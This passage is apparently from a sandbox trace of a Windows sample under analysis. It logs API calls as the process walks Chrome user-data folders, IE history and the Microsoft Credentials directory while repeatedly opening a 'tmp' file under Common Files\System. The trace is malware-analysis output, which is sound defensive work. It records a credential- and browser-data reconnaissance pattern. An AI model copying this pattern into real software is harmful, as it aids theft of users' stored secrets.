ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.853] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.853] GetLastError () returned 0x12 [0134.853] AreFileApisANSI () returned 1 [0134.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.853] GetFileType (hFile=0x188) returned 0x1 [0134.854] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\OriginTrials\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.854] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.854] GetLastError () returned 0x12 [0134.854] AreFileApisANSI () returned 1 [0134.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.854] GetFileType (hFile=0x188) returned 0x1 [0134.854] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\PepperFlash\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.854] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.855] GetLastError () returned 0x12 [0134.855] AreFileApisANSI () returned 1 [0134.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.855] GetFileType (hFile=0x188) returned 0x1 [0134.855] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\pnacl\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.855] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.855] GetLastError () returned 0x12 [0134.855] AreFileApisANSI () returned 1 [0134.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.855] GetFileType (hFile=0x188) returned 0x1 [0134.855] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.856] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.856] GetLastError () returned 0x12 [0134.856] AreFileApisANSI () returned 1 [0134.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.856] GetFileType (hFile=0x188) returned 0x1 [0134.856] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SwReporter\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.856] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.856] GetLastError () returned 0x12 [0134.856] AreFileApisANSI () returned 1 [0134.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.857] GetFileType (hFile=0x188) returned 0x1 [0134.857] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\WidevineCdm\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.857] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.857] GetLastError () returned 0x12 [0134.857] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.857] GetLastError () returned 0x12 [0134.857] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.857] GetLastError () returned 0x12 [0134.857] AreFileApisANSI () returned 1 [0134.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.857] GetFileType (hFile=0x180) returned 0x1 [0134.858] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.858] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.858] GetLastError () returned 0x12 [0134.858] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0134.858] GetLastError () returned 0x12 [0134.858] AreFileApisANSI () returned 1 [0134.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0134.858] GetFileType (hFile=0x17c) returned 0x1 [0134.858] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0134.859] AreFileApisANSI () returned 1 [0134.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.859] GetFileType (hFile=0x180) returned 0x1 [0134.859] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa413c7b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa413c7b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.859] AreFileApisANSI () returned 1 [0134.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.859] GetFileType (hFile=0x184) returned 0x1 [0134.859] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa413c7b0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa413c7b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa413c7b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.860] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.860] GetLastError () returned 0x12 [0134.860] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.860] GetLastError () returned 0x12 [0134.860] AreFileApisANSI () returned 1 [0134.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.860] GetFileType (hFile=0x180) returned 0x1 [0134.860] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x889898, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.860] AreFileApisANSI () returned 1 [0134.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.861] GetFileType (hFile=0x184) returned 0x1 [0134.861] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.861] AreFileApisANSI () returned 1 [0134.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.861] GetFileType (hFile=0x188) returned 0x1 [0134.861] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.861] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.861] GetLastError () returned 0x12 [0134.861] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.861] GetLastError () returned 0x12 [0134.862] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.862] GetLastError () returned 0x12 [0134.862] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0134.862] GetLastError () returned 0x12 [0134.862] AreFileApisANSI () returned 1 [0134.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0134.862] GetFileType (hFile=0x17c) returned 0x1 [0134.862] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x888230, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0134.862] AreFileApisANSI () returned 1 [0134.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.862] GetFileType (hFile=0x180) returned 0x1 [0134.863] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.863] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.863] GetLastError () returned 0x12 [0134.863] AreFileApisANSI () returned 1 [0134.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.863] GetFileType (hFile=0x180) returned 0x1 [0134.863] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.863] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.863] GetLastError () returned 0x12 [0134.863] AreFileApisANSI () returned 1 [0134.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.864] GetFileType (hFile=0x180) returned 0x1 [0134.864] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.864] AreFileApisANSI () returned 1 [0134.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.864] GetFileType (hFile=0x184) returned 0x1 [0134.864] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.865] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.866] GetLastError () returned 0x12 [0134.866] AreFileApisANSI () returned 1 [0134.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.866] GetFileType (hFile=0x184) returned 0x1 [0134.866] FindFirstFileA (in: lpFileName="C:\\Documents and 